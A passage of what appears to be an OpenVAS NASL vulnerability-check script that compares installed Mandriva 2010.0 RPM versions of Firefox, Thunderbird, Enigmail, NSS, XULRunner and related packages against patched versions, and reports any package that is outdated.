isrpmvuln(pkg:\"beagle\", rpm:\"beagle~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-crawl-system\", rpm:\"beagle-crawl-system~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-doc\", rpm:\"beagle-doc~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-evolution\", rpm:\"beagle-evolution~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui\", rpm:\"beagle-gui~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui-qt\", rpm:\"beagle-gui-qt~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-libs\", rpm:\"beagle-libs~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-beagle\", rpm:\"firefox-ext-beagle~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-blogrovr\", rpm:\"firefox-ext-blogrovr~1.1.804~6.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-mozvoikko\", rpm:\"firefox-ext-mozvoikko~1.0~6.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-plasmanotify\", rpm:\"firefox-ext-plasmanotify~0.3.1~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-r-kiosk\", rpm:\"firefox-ext-r-kiosk~0.7.2~9.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-scribefire\", rpm:\"firefox-ext-scribefire~3.5.1~0.12mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-theme-kfirefox\", rpm:\"firefox-theme-kfirefox~0.16~7.17mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.25.3~10.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"google-gadgets-common\", rpm:\"google-gadgets-common~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"google-gadgets-gtk\", rpm:\"google-gadgets-gtk~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"google-gadgets-qt\", rpm:\"google-gadgets-qt~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget1.0_0\", rpm:\"libggadget1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-dbus1.0_0\", rpm:\"libggadget-dbus1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-gtk1.0_0\", rpm:\"libggadget-gtk1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-js1.0_0\", rpm:\"libggadget-js1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-npapi1.0_0\", rpm:\"libggadget-npapi1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-qt1.0_0\", rpm:\"libggadget-qt1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-webkitjs0\", rpm:\"libggadget-webkitjs0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libggadget-xdg1.0_0\", rpm:\"libggadget-xdg1.0_0~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgoogle-gadgets-devel\", rpm:\"libgoogle-gadgets-devel~0.11.2~0.13mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr4\", rpm:\"libnspr4~4.8.7~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr-devel\", rpm:\"libnspr-devel~4.8.7~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss3\", rpm:\"libnss3~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-devel\", rpm:\"libnss-devel~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-static-devel\", rpm:\"libnss-static-devel~3.12.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libopensc2\", rpm:\"libopensc2~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libopensc-devel\", rpm:\"libopensc-devel~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.16\", rpm:\"libxulrunner1.9.2.16~1.9.2.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.16~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-plugin-opensc\", rpm:\"mozilla-plugin-opensc~0.11.9~1.18mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-beagle\", rpm:\"mozilla-thunderbird-beagle~0.3.9~20.23mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 